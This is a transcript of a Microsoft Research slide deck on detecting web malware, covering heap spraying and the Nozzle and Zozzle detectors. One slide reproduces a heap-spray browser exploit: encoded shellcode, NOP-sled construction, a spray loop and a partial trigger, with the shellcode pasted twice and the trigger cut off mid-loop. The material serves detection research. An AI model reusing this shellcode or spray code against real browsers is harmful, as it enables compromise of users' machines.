Finding Malware on a Web Scale Ben Livshits Microsoft Research Redmond, WA.

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Presentation transcript:

Finding Malware on a Web Scale Ben Livshits Microsoft Research Redmond, WA

Brief History of Memory-Based Exploits Stack-based buffer overruns 2002 Heap-based buffer overruns 2005 Heap sprays Code red worm Nimda worm Stackguard DEP+ASLR

Heap Spraying 3 Firefox 3.5 July 14, Adobe Acrobat / Reader February 19, blog.fireeye.com/research/2009/07/actionscript_heap_spray.html

// Shellcode var shellcode=unescape(‘%u9090%u9090%u9090%u9090%uceba%u11fa%u291f%ub1c9%udb33%ud9ce%u2474%u5ef4%u5631%u030e%u0e56%u0883%uf3fe%u68ea%u7a17%u9014%u1de8%u759c%u0fd9%ufefa%u8048%u5288%u6b61%u46dc%u19f2%u69c9%u94b3%u442f%u1944%u0af0%u3b86%u508c%u9bdb%u9bad%udd2e%uc1ea%u8fc1%u8ea3%u2070%ud2c7%u4148%u5907%u39f0%u9d22%uf385%ucd2d%u8f36%uf566%ud73d%u0456%u0b91%u4faa%uf89e%u4e58%u3176%u61a0%u9eb6%u4e9f%ude3b%u68d8%u95a4%u8b12%uae59%uf6e0%u3b85%u50f5%u9b4d%u61dd%u7a82%u6d95%u086f%u71f1%udd6e%u8d89%ue0fb%u045d%uc6bf%u4d79%u661b%u2bdb%u97ca%u933b%u3db3%u3137%u44a7%u5f1a%uc436%u2620%ud638%u082a%ue751%uc7a1%uf826%uac63%u1ac9%ud8a6%u8361%u6123%u34ec%ua59e%ub709%u552b%ua7ee%u5059%u6faa%u28b1%u05a3%u9fb5%u0fc4%u7ed6%ud357%ue537%u76df%u4148′); bigblock=unescape(“%u0D0D%u0D0D”); headersize=20;shellcodesize=headersize+shellcode.length; while(bigblock.length<shellcodesize){bigblock+=bigblock;} heapshell=bigblock.substring(0,shellcodesize); nopsled=bigblock.substring(0,bigblock.length-shellcodesize); while(nopsled.length+shellcodesize<0×25000){nopsled=nopsled+nopsled+heapshell} // Spray var spray=new Array(); for(i=0;i<500;i++){spray[i]=nopsled+shellcode;} // Trigger function trigger(){ var varbdy = document.createElement(‘body’); varbdy.addBehavior(‘#default#userData’); document.appendChild(varbdy); try { for (iter=0; iter 4 var shellcode=unescape(‘%u9090%u9090%u9090%u9090%uceba%u11fa%u291f%ub1c9%udb33%ud9ce%u2474%u5ef4%u5631%u030e%u0e56%u0883%uf3fe%u68ea%u7a17%u9014%u1de8%u759c%u0fd9%ufefa%u8048%u5288%u6b61%u46dc%u19f2%u69c9%u94b3%u442f%u1944%u0af0%u3b86%u508c%u9bdb%u9bad%udd2e%uc1ea%u8fc1%u8ea3%u2070%ud2c7%u4148%u5907%u39f0%u9d22%uf385%ucd2d%u8f36%uf566%ud73d%u0456%u0b91%u4faa%uf89e%u4e58%u3176%u61a0%u9eb6%u4e9f%ude3b%u68d8%u95a4%u8b12%uae59%uf6e0%u3b85%u50f5%u9b4d%u61dd%u7a82%u6d95%u086f%u71f1%udd6e%u8d89%ue0fb%u045d%uc6bf%u4d79%u661b%u2bdb%u97ca%u933b%u3db3%u3137%u44a7%u5f1a%uc436%u2620%ud638%u082a%ue751%uc7a1%uf826%uac63%u1ac9%ud8a6%u8361%u6123%u34ec%ua59e%ub709%u552b%ua7ee%u5059%u6faa%u28b1%u05a3%u9fb5%u0fc4%u7ed6%ud357%ue537%u76df%u4148′);

Nozzle and Zozzle 6 NozzleZozzle MethodRuntimeMostly static False positives1 in a billion1 in a quarter million Reach Finds 1,000s of malicious URLs for Bing daily Can go well beyond SafeBrowsing and AV detection

Other Detection Methods Google SafeBrowsing Anti-virus engines Zozzle goes beyond SafeBrowsing 7